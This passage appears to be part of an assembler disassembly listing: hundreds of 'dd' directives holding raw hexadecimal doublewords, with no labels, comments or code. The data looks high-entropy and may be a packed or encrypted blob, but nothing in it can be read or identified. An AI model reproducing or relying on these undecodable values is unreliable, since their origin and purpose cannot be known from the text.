		dd 0E1981E5Ah, 0AE00D647h, 81D1DDB0h, 1FDC4F92h, 94596ACh
		dd 580117F4h, 0E8EC559Bh, 0E7012AE4h, 4E631E71h, 503077D7h
		dd 77F17BB7h, 0BDB60022h, 0AF47E05Eh, 0C93D288Fh, 80E40011h
		dd 0FDA0B7C3h, 0EAE2287Bh, 73100E54h, 3540A237h, 38B14259h
		dd 418170Ah, 1D85D4CEh,	8806902h, 1F8FAB41h, 40260336h
		dd 0EC9BA5B9h, 1709508Eh, 0F27088h, 45272DC4h, 3C860F0Ch
		dd 3020EC82h, 0EFB8E6DCh, 0DCB88E5Bh, 97E22800h, 198B8964h
		dd 734A9918h, 5C9E7591h, 0FF01203Eh, 463A29C7h,	5CC0DCE3h
		dd 1E5B238h, 5E42409h, 0D330F825h, 12CE075Fh, 0E0E6551Eh
		dd 0E016C10Ah, 48313C00h, 0EE5233F5h, 9E28004Ch, 8570DECAh
		dd 8492C49Fh, 0AC5F4A1Ch, 47A42464h, 58518800h,	6F506842h
		dd 0C580D043h, 0E363D4Bh, 0AE8E5A05h, 0EF00E57Fh, 91585510h
		dd 14D101A4h, 80B002DCh, 5E4DC8ABh, 1C0434EEh, 0BA6B603Ah
		dd 0E33842C0h, 0B8FA73h, 0DA62D904h, 0BCD77581h, 0C3DBAF07h
		dd 6B46C92Ch, 0ADB021h,	0DA501A80h, 2A4B7996h, 0DF2B8E07h
		dd 34B7B5F8h, 5F5069C7h, 0FB9B3C5h, 0DF2B145h, 0F122E36Dh
		dd 42DBDC2Ch, 12D9D51Ch, 0BAB1BB87h, 0BFF061CDh, 36B73995h
		dd 2CD59F03h, 20017E22h, 3C460B56h, 288005EEh, 0A1160C18h
		dd 31265537h, 361D5660h, 23213D18h, 0F3161EC4h,	0D00FF938h
		dd 0A5404555h, 42D7EA29h, 2C5270C1h, 6080B772h,	85C7DC91h
		dd 0F7031D75h, 2E5199E9h, 86993871h, 63034280h,	8DA77877h
		dd 0CAB1C600h, 4C27651h, 0AC0A2A87h, 1F546A8h, 0B9438050h
		dd 480CC92Ch, 688288h, 0D580880h, 0F389403Ah, 45D52201h
		dd 64FC1A92h, 15EADCh, 59E5C613h, 3A019AFDh, 922B0E00h
		dd 1EDA1B79h, 0FCA21CC2h, 0A500FF4Ah, 171A9EDFh, 7E01CA96h
		dd 0D82776B5h, 0B2F8B7C1h, 0F5500B1h, 3F6241Ah,	6B75A3D6h
		dd 3FFF6800h, 52BF9875h, 57E28Eh, 355F43Dh, 561944A0h
		dd 0D58BF200h, 7ADD9195h, 61CC00D6h, 3A79973h, 0DF3ED448h
		dd 0F5882C8Ch, 0B780811Dh, 3ACE9BC5h, 0AA250136h, 62754987h
		dd 0FD2CD0F1h, 0A8882A01h, 282D673Dh, 798F70D4h, 53413129h
		dd 0ECBE1920h, 38070626h, 0C38861DFh, 7945F220h, 9B60316h
		dd 0C689E29Bh, 11355000h, 696C08FEh, 0A9213965h, 33770F80h
		dd 9DFF049Ch, 0EBCC7A00h, 20866C81h, 0BB1003F2h, 93073C2Dh
		dd 0A9CAFDA0h, 486B9000h, 0F365C15h, 4D423ACEh,	0CA907D30h
		dd 0A1003A8Eh, 43ADBDDCh, 0F82336C1h, 283F64Ah,	672256Dh
		dd 0AF00F746h, 33E1FEC5h, 1D10CAFAh, 198F0FD8h,	2A56B00h
		dd 3AFE9F1h, 0CC21C0F0h, 1A600F2Eh, 0C21BF401h,	18E84457h
		dd 98A8A2h, 0BA8AEFCAh,	63924EBh, 4AEDC400h, 0B8DAE6ADh
		dd 495B0688h, 30C594E1h, 0A2E7540Fh, 23FA6EDDh,	0E0466590h
		dd 0B2E1721h, 58AD4B50h, 4038EC83h, 0F48A62E0h,	0FC44FA18h
		dd 14B9F48h, 0B74C1C2Ch, 0EBD7D056h, 8000FC7Fh,	53A27465h
		dd 983EFF8Fh, 1EEA007Ch, 2F77D1C8h, 4A0307DCh, 61F92A7Bh
		dd 96F0E036h, 0FAFC3EE8h, 648059B9h, 4B3AEE51h,	0E0E60E69h
		dd 0CFA75B01h, 0F8299A45h, 307EAF40h, 84971EB5h, 1BB04B7h
		dd 5A568022h, 36002A81h, 475B0306h, 33DD70h, 5FED8E43h
		dd 93B4257Fh, 5A153B00h, 0BFAD19F0h, 0F6B80084h, 664AA296h
		dd 0CF037730h, 4F494156h, 3BA00174h, 8E5EE0A5h,	96208087h
		dd 0B5380734h, 0E87711h, 0E370AA04h, 0F5374D1Ah, 2CDDEE07h
		dd 0A98E6055h, 0D980FDDCh, 0E4CC3291h, 728BEFFh, 5EA63CB4h
		dd 2AB10DC0h, 0F40C009Bh, 0CF6AE29Eh, 7A1EA859h, 0BF40A118h
		dd 61C5C772h, 775D006Bh, 56922E7Eh, 0CC00B4EAh,	0CB446202h
		dd 8D3DC4h, 4F532C26h, 0C832B8ECh, 3685F21Fh, 428443C1h
		dd 40EC5530h, 11D7828h,	1E3F6F74h, 80C86946h, 3EC35D58h
		dd 6E4BB1h, 26868599h, 2DB24A23h, 0E00AD90Eh, 3D28F8B9h
		dd 6CA700FDh, 0CA36FA22h, 51C0754Eh, 114564ACh,	33067407h
		dd 9D304BD1h, 0CFC023C8h, 0CE864100h, 573AD88Ah, 3A0FEE67h
		dd 74876E9Fh, 605185DDh, 117C9C71h, 163BE000h, 0BF210199h
		dd 8ADE0013h, 9F1D74A1h, 5D00032Fh, 516677B0h, 3FD752CCh
		dd 71B0F2E0h, 0B3551520h, 0CA5FA000h, 0F668CEEh, 6B340BDCh
		dd 0AC03901Fh, 0D8D870EFh, 0E100AA54h, 0E0C0AD73h, 5C4562Ch
		dd 7231DA07h, 5C80362h,	7AA3DD28h, 0F7F2100h, 0D53C63DAh
		dd 3D8C0059h, 3B224F61h, 0E900B1BEh, 6840F773h,	0EA805AD7h
		dd 4BEB0F69h, 0B843FF51h, 6FE1A535h, 0BE5ED230h, 1BA88F01h
		dd 0CE0A456h, 0B1E900BBh, 74C2D98Dh, 0DE74C5CAh, 20512C33h
		dd 8CE9E152h, 261EBF0h,	0B99179BFh, 2C200DC7h, 3006A3C8h
		dd 76116AA7h, 5B004B59h, 0B0D2B2E6h, 0E8D46291h, 0D021C01Eh
		dd 0E4D4B78h, 8D909909h, 0BDC50004h, 0E8E7CDFBh, 6094E934h
		dd 3AAC2CCBh, 0FF00A643h, 0CDCC1D90h, 0E70AA215h, 28EE345Dh
		dd 60A67B08h, 0E623013Ah, 83425AE8h, 0CF212433h, 8FE84BC8h
		dd 2802E406h, 2A48A59Ch
		dd 0CCF469h, 9574FDC9h,	0B6F64F72h, 0AFEADC00h,	7EB3B2E8h
		dd 80211850h, 507D8E7h,	6AB81C05h, 0C8032A38h, 0F82E5586h
		dd 0E2A7EDh, 9ABCFAC3h,	3D8A31B4h, 0DCCD6800h, 426E54D7h
		dd 534B00E6h, 3F83F329h, 5200F098h, 57DCA61h, 3CFC4AA9h
		dd 508555ABh, 0FEB30D1Eh, 9F98A8C1h, 1DB4F0ECh,	0CF1DCF3h
		dd 3420155Fh, 0E15B6C00h, 0BAD9A82Ah, 9A52001Eh, 3399C5C4h
		dd 420C1C58h, 50367D12h, 614C38D3h, 55709A8Eh, 295E8C60h
		dd 58184FC3h, 0ABE2F498h, 2C6E00EAh, 726928E3h,	9200ED1Eh
		dd 5D3E1A75h, 6AE59314h, 30B808F2h, 75B9C720h, 0B369AB00h
		dd 4E9B1831h, 0F4F900F0h, 40A04F37h, 0A31E6281h, 3400B30Ch
		dd 8DFD63B1h, 0F8D40E4Eh, 81CF1DC5h, 9FAFBEA0h,	0BA382ED7h
		dd 182900E7h, 62549836h, 4B6A069Dh, 49AB1C56h, 0BE0DDC1Fh
		dd 60841354h, 292F2D3Eh, 8DEA0728h, 2ED09336h, 20028C86h
		dd 2E5AD300h, 512FDDCDh, 64410063h, 12CF5232h, 88A0736Eh
		dd 0A00AFB8Fh, 984FB084h, 0D3DB9301h, 0BFC0C696h, 0F7EC1D90h
		dd 0F85418BCh, 3100F20Dh, 0CAA2EBE6h, 0BAE7470h, 82058D9Eh
		dd 0E8EE885Dh, 60648B88h, 9F96E931h, 6930A546h,	5BA33221h
		dd 4765BC00h, 312B0B54h, 9C4C0AADh, 77C0DA9h, 1051EDF8h
		dd 0CC7E1C5Bh, 86216800h, 5774EC85h, 0D77D0299h, 0D6288261h
		dd 459A67C0h, 1C963Eh, 4EF980ABh, 0E40B6520h, 511600D3h
		dd 15135EC2h, 3F00EA99h, 7EFE2264h, 0E063FF43h,	0C4F087h
		dd 150B7D6Ah, 0B32BD32Fh, 0A4CF1800h, 229A5F3Dh, 0EDA71C3Ch
		dd 6988C323h, 0CE98DFC0h, 0F800A5A4h, 3C242284h, 389E23DAh
		dd 758F1CEAh, 801FBED1h, 0D48CBA97h, 730EB165h,	8EB6DEA6h
		dd 4630383Fh, 8FBB01DFh, 0FDF59834h, 0EF56C89Ch, 0B60005E8h
		dd 0E6144A96h, 1A62A97h, 37FF2562h, 0DC452280h,	8075F53h
		dd 8919EBA3h, 723EF13h,	3D7D3A88h, 5D80201Ah, 0B6249515h
		dd 0A930A859h, 3EBA27h,	6AF6FBD5h, 1E942F5h, 30C61E2h
		dd 49E4D279h, 0C9810113h, 785AED18h, 1900D393h,	62411910h
		dd 0C0264CFFh, 8337E298h, 8C03D95Dh, 596FAAB3h,	97AFB870h
		dd 0C8D00031h, 12A60192h, 41007149h, 0F3B980EFh, 0AA132Dh
		dd 81735A42h, 0A86562B3h, 0D49CF025h, 9A206Bh, 0D8A13006h
		dd 0F53C147h, 0AB749800h, 5E827886h, 7E9100FDh,	2F262C7Ch
		dd 180035F0h, 330E6DB3h, 0F60399h, 1E5E3245h, 793FA504h
		dd 2E64050Fh, 88C0BD2Fh, 25513CBCh, 13930021h, 9F29EFA6h
		dd 8A3D1BABh, 114B804Ah, 0F2A14998h, 0B3EC0028h, 22B9F13h
		dd 951EAD41h, 0A60D197Ch, 5630609Ah, 8C48009Dh,	91B8B044h
		dd 2300B9C1h, 3F06FF7Eh, 120FC0h, 4EA92738h, 9B7C746Eh
		dd 0B9DE1D12h, 84AD10h,	70685688h, 2642E9h, 12DD8334h
		dd 5A484A80h, 0BD041B0Ch, 1E12A9h, 0D06A1D55h, 60B22E31h
		dd 0E3972900h, 0E6F0055Ah, 700AB803h, 6C0C180Fh, 35D4A007h
		dd 0E94BAF00h, 0CA1725B8h, 0D05C0060h, 0DC6C030Bh, 0A9711B20h
		dd 0B9332700h, 0A574D528h, 7AC71CD8h, 0D8435A48h, 0A4E0FA60h
		dd 0F7218C0h, 0F8B41509h, 1E0A7822h, 0B0061335h, 73927070h
		dd 94913C28h, 1674AB7Ch, 6718AC00h, 0DBB8BF6Bh,	0C8630077h
		dd 0A73F05B2h, 293C1BD8h, 45838076h, 0BC38260Bh, 0E70D4C03h
		dd 0EBD81C00h, 12BE7FC6h, 75953900h, 133D8EF1h,	60430086h
		dd 0D7EBF615h, 7601A055h, 0A3FA87E5h, 88C84DCh,	37201372h
		dd 90A0630Eh, 890BC019h, 11C2F06h, 0F4A7AA6Ch, 803B56AFh
		dd 3915776Ah, 4532A07h,	0E3BB9D79h, 20D180E1h, 0D249414h
		dd 88006BB0h, 32220C1Eh, 0AEF87Bh, 0E5548B56h, 3CF59777h
		dd 0E1B9F718h, 0E2B550h, 21B00A13h, 5326B47Eh, 988908CCh
		dd 0EF840377h, 602F3D13h, 0D214BC0Fh, 496E56Bh,	0A42C3880h
		dd 604E7374h, 46F6A113h, 680012E7h, 4FE05885h, 31CB25Fh
		dd 1B32660Ch, 182C8E8Dh, 0A831B72Fh, 98837F12h,	0D0FBA12Ah
		dd 0B5B43800h, 0C30DCABDh, 0EF47002Ch, 0A072FFB3h, 550044B0h
		dd 0FE5D1ADDh, 0BB1009h, 6A49EA2Eh, 0DA88E674h,	0CC0E58h
		dd 0BDFFA850h, 58AC8236h, 7300D5F0h, 85F28199h,	407C59D2h
		dd 0A6D1C600h, 21CD1006h, 0A1E00066h, 0C403EB15h, 34009D12h
		dd 0F93984F7h, 177564h,	77B337FBh, 24C7A08h, 518B5F00h
		dd 0EDBBE5D6h, 0FF790148h, 0DB45A0EBh, 4DBCFCD9h, 6510DF00h
		dd 0D69376A7h, 9E1207FDh, 0E17C2D60h, 0E0146653h, 0A10CDFFEh
		dd 20C992B1h, 83AA1D45h, 2197068Bh, 6D1E7813h, 1E3F4D9Bh
		dd 803CE6F4h, 3DA9F5C3h, 38643283h, 0D900F844h,	34CD4AA8h
		dd 86F2CCD3h, 6119D700h, 0CE3604B4h, 55412C9Ch,	243F03BBh
		dd 0EDA0D593h, 79ECF964h, 8023863Ah, 89CEEA70h,	0F5B17D0h
		dd 91BEFA74h, 1A28DE6Ch, 2A000AE0h, 0AAF3D19Bh,	0ABC55Fh
		dd 7AA22345h, 0DD2FE3Ch, 5C0C59ECh, 0D438CDB5h,	0CE17026Ch
		dd 0ED6A56D1h, 9E0CC0FFh, 3F5008Ah, 3E014758h, 9C0081E5h
		dd 17ADDCBFh, 0D07A5Eh,	0F8C61A32h, 7BDEA9A7h, 0D0C03D31h
		dd 0CFE81DF9h, 94090039h, 1FEF4CB1h, 0BD0F5592h, 78EB1003h
		dd 0CE0C28h, 0C739E9D9h, 0DE3CEA01h, 68B0B47Ch,	9C0063FAh
		dd 0DBE599C2h, 0D00540h, 0C55CAC84h, 0E46D3E15h, 0C108660h
		dd 5775B45h, 86846D8h, 19980063h, 0CD9FA6A0h, 33106060h
		dd 85D54Eh, 46FD1226h, 0BB3CCA66h, 38F11100h, 804C2AE3h
		dd 5333161Fh, 0D4990051h, 0CD1B150Eh, 0B820200h, 0C23FE8EAh
		dd 3E970003h, 2C011A5Dh, 4AE09CBCh, 0A5A258h, 0B5AA8EB3h
		dd 358E550h, 32D78C28h,	7BB0345Bh, 45004EF3h, 859D25CEh
		dd 76E8B22h, 15357D92h,	0EFDAC042h, 1701641Eh, 81D46A1Ch
		dd 1F04EFBh, 0D0FCA5h, 2303F771h, 38A7D240h, 0E7EA6200h
		dd 4551E125h, 891005Eh,	152F106Ah, 1B002E55h, 825B6B0Eh
		dd 90016C5Ah, 0D5FC0Eh,	2CF0ADB3h, 17B17A50h, 24443Dh
		dd 4AD326ECh, 685F90D9h, 178431A2h, 271E0F82h, 53238EC0h
		dd 0B5011C11h, 449AD0E8h, 0FCF8C414h, 0ADF81F4Bh, 4172C00Bh
		dd 0F22CCFF4h, 40CEAA1Dh, 19DC40Fh, 0E3A6868Ch,	51ADA9F3h
		dd 96778840h, 0E78CA16Dh, 18038770h, 10303DABh,	380FB7AFh
		dd 0EF07CDEBh, 0F18E0A1h, 125024Bh, 0F0FFF477h,	0F862962Bh
		dd 5100E626h, 8B8C732Fh, 0E4F5FC30h, 412A0005h,	0B7DBEBB3h
		dd 4A00066Eh, 9727B9FBh, 66CA88h, 0C11EA81Ch, 537A090Bh
		dd 393A3E00h, 0B3C323B0h, 0AFC700CDh, 5CA7066Dh, 0C4076C54h
		dd 0D135A3Ah, 0B85E5650h, 0B16601B6h, 20B957FEh, 0B5EDC481h
		dd 0A7B30712h, 5FC9F201h, 98204A9Dh, 2E8901A3h,	82C7FE46h
		dd 1590806Fh, 68F1EBD1h, 0EA97373h, 0C54F29EAh,	76831E00h
		dd 6D1C36D9h, 89C0E521h, 121D02F1h, 4D0E1C0Fh, 165D093Fh
		dd 0E86B2D80h, 0DF5C7D7Bh, 9A000B1h, 870A53BBh,	2CC800D3h
		dd 0BC66FC14h, 15756BB0h, 7563B500h, 9D5D0A35h,	61273065h
		dd 82C6BAA8h, 1A1E4F17h, 0C8F62F0h, 6CA16569h, 0DE0012B0h
		dd 0A405C66Fh, 1E877FC3h, 0C0B785FEh, 1CA75E95h, 0E00CBFBh
		dd 0E66290F4h, 4255FDh,	0ED0B4E8Eh, 0DD379998h,	1B315A00h
		dd 872A73A2h, 21A8007Bh, 69938ADBh, 0D0000D8Ch,	0C06ECDDAh
		dd 76A5CC08h, 1407A04h,	0BF153D05h, 87BAE45Bh, 0F4180C18h
		dd 12CE814Fh, 0B02F4608h, 0CC24DF13h, 403065E9h, 0DB81F6h
		dd 0EBDAD6BBh, 39A92D8Ch
		dd 7BDFF300h, 4CC2FA2Bh, 94740F20h, 0B767E740h,	7CA19F0Ch
		dd 0F4FF969Eh, 240CA309h, 202D2730h, 0AF420E4Dh, 8A608372h
		dd 0A6312A71h, 0FDD37312h, 0DF988600h, 81DBA5h,	0BCA0989h
		dd 77C145FBh, 1982BE00h, 4F0CCE32h, 0A5CD0321h,	0B4359196h
		dd 55ACC900h, 575F880Dh, 3FF706C6h, 0F0A4BED0h,	0D28D1A12h
		dd 0BDCF5B01h, 4080DE60h, 43073E71h, 0F560AE44h, 7C5A3978h
		dd 74D571D3h, 18FF0095h, 0A8456151h, 0C30E17A5h, 1F7A38A0h
		dd 0B621ADC0h, 0A9058A4h, 40014DC1h, 0BA538024h, 2F20D5C0h
		dd 0D0227A1Ch, 0D97D4D87h, 70EC8FAh, 2E87C033h,	10213B8h
		dd 3EF9C046h, 0C464A5C9h, 0CF03BFB4h, 84DB301Bh, 82C2A5C4h
		dd 2ACC810Bh, 10EC4770h, 1F1EED8h, 394EDAD1h, 0E4D95AE8h
		dd 42140212h, 28F859h, 0CFA3B450h, 84D8D23Bh, 7081920h
		dd 26B36076h, 4E1F00E0h, 7300E866h, 8F141847h, 72CCB85h
		dd 0EBE4A5D7h, 0F08747B6h, 534EFE1Ah, 385760Dh,	0C4177806h
		dd 0F824E640h, 0DD217279h, 0F2880C38h, 9824F921h, 0A8B14422h
		dd 7C504325h, 41CB46Bh,	222E8368h, 0A95C4C81h, 0B31100C7h
		dd 0EDC3EAB4h, 8E06DD8Dh, 2BFCD0CEh, 17720068h,	2071F15Dh
		dd 8CA053D9h, 0E0009A40h, 0A1F6869Dh, 1DC7EF88h, 802C6FE7h
		dd 0BF2F1B38h, 0A9FC9083h, 206D4B00h, 660F4D50h, 0BC7F02E2h
		dd 0E734D3D9h, 0DF07E460h, 8A598100h, 7A3AD4A9h, 8F7C5C84h
		dd 5D244E00h, 9B93C780h, 9A30A1Eh, 0DDE03D40h, 861D95h
		dd 67773326h, 4B64EA7Ch, 3ACBC1Fh, 817F60C7h, 0DA0F50E1h
		dd 0D7C431F9h, 29FA00FDh, 89B72B15h, 7102C5E2h,	42258462h
		dd 3EF6E0EAh, 88010752h, 370CD2AAh, 6AF210F8h, 0ED00EF34h
		dd 2B1631B0h, 1730533h,	5010A39Bh, 0F0B93766h, 4104EA63h
		dd 3835D28h, 77192480h,	0FB9B009Ch, 0E22C4A17h,	0EC002BDAh
		dd 712EC321h, 43C7FFh, 9733A48h, 6273229h, 0EADA5Ch, 72211D9Fh
		dd 97F1FFh, 7DE1B81Ch, 79BC7E33h, 2D6A021Dh, 99D613C0h
		dd 0B0D85681h, 0CE8800E6h, 8ACCFE92h, 2F0BB5C5h, 5C21FBh
		dd 0C4FA364h, 239438C9h, 9E76E2Ch, 9E802D2Eh, 690D1C3Fh
		dd 18BDCB1Fh, 1184AD00h, 1E51C868h, 80072BAFh, 86FDA037h
		dd 3100C639h, 53EE2499h, 7F490Eh, 93384C1Fh, 0D5E6780Bh
		dd 0A1949100h, 3C4FC0FCh, 57400028h, 0BDB97597h, 0C700061Bh
		dd 515C6B5Bh, 0AE7A5Ah,	879F66C3h, 71D9CE7h, 0D5177D1Dh
		dd 0BFF86300h, 0DCC5A9h, 7F954294h, 0E5AD4EF6h,	43EDC200h
		dd 86A1BC01h, 53B600C8h, 77EE4467h, 0AC034C34h,	1B8AFF91h
		dd 9925A835h, 78B500A3h, 0E2F4EAF5h, 7501AFE4h,	0FBC8CFF3h
		dd 0AE8C76Ch, 45F49DFh,	0A4197300h, 75509BB9h, 12CD9000h
		dd 4880D0D3h, 0EFB1146Ah, 7700CC92h, 1E9686ABh,	8501560Bh
		dd 0D3C733BEh, 0F303D68h, 0D4D50092h, 0A15A984Ch, 463D87E3h
		dd 88F1E2Ch, 6C869540h,	0E240E18h, 0B422A7B2h, 2B1CBA0h
		dd 0D0007812h, 8E5E9C4Ah, 0E26E59h, 92BFFB96h, 525F574Eh
		dd 3090073Dh, 0EC213C8Ah, 0DF0B006Ch, 34507B35h, 0CD00C10Eh
		dd 0B4966A76h, 9CC899h,	6D947F40h, 37907DD0h, 0E184F800h
		dd 86D9882Ah, 0D68E1C46h, 610640BAh, 0E43E513h,	802A4B3Ah
		dd 2D193ABBh, 0A0AEF554h, 1AD1AE8h, 8FA347B5h, 81919C72h
		dd 0A2E84B50h, 90409464h, 39FA6762h, 0C12487B1h, 2029067Ch
		dd 20C19052h, 46226F0Eh, 7FD7C0FAh, 0D8E8007Eh,	0A2FF9D2Ch
		dd 53093B54h, 0C17491h,	5E76DC8Ch, 43FE2Bh, 0FCCF8F40h
		dd 4BBA7FB3h, 0EB8A2C00h, 0F3AD353Bh, 0C61724DAh, 0C29E0F1Ch
		dd 7480068Eh, 0DE7EBE59h, 2F0F8513h, 3F53A000h,	12D9B0C6h
		dd 4146B547h, 9486F72Ch, 82809369h, 0BCE2F000h,	50DDF1h
		dd 0A7FDE861h, 817278EFh, 186F3C0Ah, 4009C63h, 42E8C1A8h
		dd 9CFB07C2h, 916C780Fh, 20A9A3A5h, 5800B62Eh, 0B0469D09h
		dd 0C5BA1Dh, 1F27E50Eh,	0E7DEDAF9h, 4AEC3501h, 68B6295Dh
		dd 3FFA37DCh, 22802369h, 4D5E3A9Ah, 3FA2486h, 392A6707h
		dd 5030F621h, 79DAAC91h, 0D09D0059h, 0AF7C9904h, 80000818h
		dd 48876C77h, 32B11Dh, 0BF1DEADh, 78E24902h, 0ECB8B48h
		dd 0BFC13130h, 0D4986D00h, 1EAD1328h, 4082047Dh, 0BD9695BEh
		dd 0ACA1EB81h, 0E59320F2h, 0D3BAAC03h, 0E1E0FFD1h, 0BDD46861h
		dd 0B6D90017h, 6DEEC0F3h, 8D008053h, 684DF58Ah,	3963A84Fh
		dd 0CC04AA20h, 0C03D97BEh, 9C3E4E01h, 0B8EBC705h, 0EB18D847h
		dd 1F925AFEh, 0B0D14Ah,	0C3268B69h, 0DC24FBD4h,	0AD0082BAh
		dd 95231B59h, 0CFE55C79h, 63769300h, 0DF94EBC1h, 7120FE00h
		dd 0A12ECCC0h, 0A0E62Bh, 207ACDAh, 5B707B54h, 4CB34500h
		dd 31ABC3A8h, 3378004Fh, 612EFD44h, 9500E321h, 0BCD557BEh
		dd 5F764DDh, 0C707B585h, 5836C08Fh, 320778E7h, 92F3ACE2h
		dd 655051D0h, 0FBF200B1h, 5433041Ch, 91482BB5h,	0E06D009Ch
		dd 0ABA74746h, 40A68492h, 0AACCF507h, 0C9915463h, 44206AA0h
		dd 0E9643A06h, 0EC8604F2h, 805902BCh, 20FB55C4h, 8D991807h
		dd 2C40C785h, 12B071h, 1BFF4817h, 2851C0EAh, 31C39100h
		dd 1E7FC546h, 0A8BA1C7Ch, 0E07C025h, 5F6BDA47h,	10836E00h
		dd 67DD46A5h, 0FDF80999h, 0F420BB48h, 818A923Ah, 0A556C600h
		dd 5E0A7F66h, 8D433BF1h, 0B980303Ah, 13FAA88Bh,	77009F3Fh
		dd 0E7BD7925h, 7D93D494h, 64C900D0h, 0AECE08F8h, 0A7363F7h
		dd 1AF0D600h, 47A80751h, 839000AAh, 5B7673D3h, 54002039h
		dd 813C36FFh, 3BC38Dh, 0C874F60Ah, 0F2757F67h, 27DF38h
		dd 0BB379750h, 5C3D4B07h, 5900BBD1h, 0FBC0B018h, 86005CAFh
		dd 251CA69Eh, 536D961h,	3728E304h, 0EDB493AAh, 203209E1h
		dd 0C809DF86h, 83CA79A7h, 0F06804E4h, 267B22C6h, 5F9E7h
		dd 4914DD7Ah, 0C97CB6C3h, 3709B376h, 808F8D32h,	0D9814B08h
		dd 0C25A06F6h, 88BCC09Ch, 577F1900h, 0C72F5C80h, 1B0F0223h
		dd 0E6ADC60Ah, 0E3BBE480h, 0EC1D3498h, 0D34056F8h, 5FB31F92h
		dd 0CBFF00C3h, 0E462479Ah, 887B7E8Ah, 6C6DA100h, 2CA717ACh
		dd 7C9500C0h, 1A67CDE5h, 8C006034h, 8F630C3h, 1027FADh
		dd 424BFFB0h, 20901EECh, 80FE5A48h, 81093E72h, 80BC66C0h
		dd 0BF748BC8h, 0B89250CCh, 50DF0003h, 0F5202788h, 663F8C9Ah
		dd 0FAD28023h, 0E2F6F9A4h, 0D4CF4C86h, 127B3C7Ch, 229397h
		dd 0CBE7C7F3h, 0D5075EDCh, 55FC145Dh, 0DAF284D0h, 0D433FFF9h
		dd 0BCE90674h, 58D39963h, 0CBA93F24h, 8090D600h, 706F723h
		dd 0A1BA8D1Ah, 5432B058h, 0CA0A05AEh, 0B0B5D3F0h, 0D9164500h
		dd 907CB1DDh, 1D3400C4h, 46827E92h, 8000B088h, 17F9B3CFh
		dd 0FDFA73h, 0C3B4A5CDh, 0CCF4E347h, 6BE1AF00h,	0E82C9F3Bh
		dd 4D9900D9h, 0F2E6507Ch, 0C7786FB2h, 0B1F0A0Eh, 705C6076h
		dd 118BBAAh, 0D6490C79h, 649824EAh, 6E0A96B0h, 8CF3ED2Ah
		dd 1A47FF00h, 1C981984h, 4232D85Eh, 0DE030642h,	0AD0CD880h
		dd 601688A3h, 0B832DF8Dh, 0E3D4A21Ch, 0B88CC48h, 0C6DC449Ch
		dd 138CAC00h, 5F020B10h, 58A530EAh, 0B9D09845h,	18830614h
		dd 30DEFD3Fh, 0AB475515h, 3A5C1DD0h, 46457040h,	98695890h
		dd 6F17002Ch, 0B0E78C7Ah, 561260E1h, 1400BC0Bh,	25549826h
		dd 0B5C404D4h, 0C0F72D42h, 6BCA0F5Ch, 11C124F2h, 0BCE4B610h
		dd 0D2F6434h, 0E051CE18h, 0DD8BC080h, 6CBC24EBh, 4658B400h
		dd 0A3F3197Fh
		dd 5D4300ECh, 83B2FFD5h, 400AD01h, 82F07AB0h, 18ED617h
		dd 674FAC65h, 0D443378Dh, 490FDBEAh, 0DD3DFE72h, 0A5D00200h
		dd 8D14EEh, 0BCB87718h,	0AFF351Dh, 8F0C8600h, 3CD4EC13h
		dd 1E8BE811h, 3AEBB451h, 78E88E1Ch, 5F61EE0Eh, 0C3041700h
		dd 0A2E9179h, 0E30BB659h, 3FA0986Eh, 0CBFD015Fh, 561FAB01h
		dd 18BC2145h, 0FF007FD4h, 0D9231750h, 961E16Bh,	72C305C5h
		dd 0B80D6001h, 5BF04194h, 0BFB048DCh, 1C680649h, 0C9004589h
		dd 49D2048Dh, 8CA400A6h, 0C4A0234Dh, 0C700BDC2h, 0D5AB2948h
		dd 713E0290h, 0D97F07DFh, 0A3F8F270h, 0A6E8EF17h, 0CC003A20h
		dd 45D554B0h, 9097523Ch, 81949BBCh, 19CC9D10h, 0D38872D0h
		dd 0A8F94820h, 4100B97Bh, 0D46CC6A4h, 0EC04BB15h, 0C8108721h
		dd 6D018CC0h, 6E0F00B4h, 0ACDB0790h, 43E61DC9h,	9D3B2814h
		dd 74A200D9h, 701787DAh, 0C693950h, 0B3D58300h,	0E56E3E46h
		dd 0F7DFA000h, 58330132h, 0B5B1006Bh, 0BD123AF6h, 3FE8B498h
		dd 0C9F37C00h, 2A419B7Fh, 0D88A0035h, 920D2106h, 89037152h
		dd 6D37200Fh, 0A67691DAh, 5C05EBC8h, 3400BA82h,	0F68BED92h
		dd 0D10119E0h, 0E63D154Ah, 0F5602ACEh, 0B46E3B7Fh, 0E18C5D02h
		dd 42E06778h, 9FFA01C4h, 0A3030B73h, 0B1611BDCh, 76780003h
		dd 2429A5ECh, 4707E5CBh, 19A33A18h, 59F91B60h, 0DB3000B0h
		dd 94C7BCE2h, 2400FBBEh, 0A6B261B7h, 1F132E65h,	943B32C5h
		dd 0CA00D840h, 0B3E207B9h, 0BC00FC2Fh, 0D785906Fh, 881CC8h
		dd 3B21F99Bh, 0D069AFA7h, 0FFCE7D00h, 0E301C65Ah, 0ED10907h
		dd 40804BF5h, 380B3CDCh, 0C3019678h, 0AA3D2526h, 95E1D474h
		dd 1AAC4820h, 7838B63Eh, 51E94460h, 0FB69A103h,	14182FCh
		dd 5D0FB818h, 0F77E68FFh, 5CE7100Eh, 6748C007h,	7387DDh
		dd 0B3E4CE2Ch, 2632A3DBh, 0B7FA6C18h, 0FC258h, 18C30731h
		dd 8EFD8C51h, 53BF21h, 113777D8h, 7001650h, 8B3BC604h
		dd 0CC29C1Ch, 0F1E2FCB6h, 631875A1h, 1CB18029h,	0F8140051h
		dd 44E6EBF7h, 5A00D794h, 10CC3943h, 0E46D1EB9h,	0E9910012h
		dd 0B25BF0E2h, 8A00716Ch, 656AEDCEh, 0A211Bh, 54265A37h
		dd 7D6777A1h, 505C4E00h, 8C9BE68Ah, 3E24075Bh, 30E31BF6h
		dd 77926B97h, 988EB505h, 6C80C808h, 7507A4h, 76D96C9Bh
		dd 0BF4DBA58h, 0DF004173h, 53A9ED25h, 26DE2422h, 0AB9F823h
		dd 0FC079ABh, 5F20CA60h, 0B178A8C6h, 0E0937F00h, 40136AF4h
		dd 51C831D1h, 5042DBF8h, 31626FD8h, 5D861400h, 0BBFDA363h
		dd 0B0DB00EDh, 0BEE22A64h, 0B301F854h, 0DDBDF7E3h, 2A7077FEh
		dd 0AA283E2Ch, 816BB59Eh, 0F31BF286h, 70AC403Eh, 6D0513DDh
		dd 5D881A1Dh, 1074DC40h, 1622412h, 0FC3A9E4Fh, 34DEA38Dh
		dd 0B809A164h, 0DD74BC11h, 529F1900h, 960080BAh, 0D02DF902h
		dd 0C42945h, 0EC297B2h,	347FDA3Bh, 0ED84F500h, 6D74B0B1h
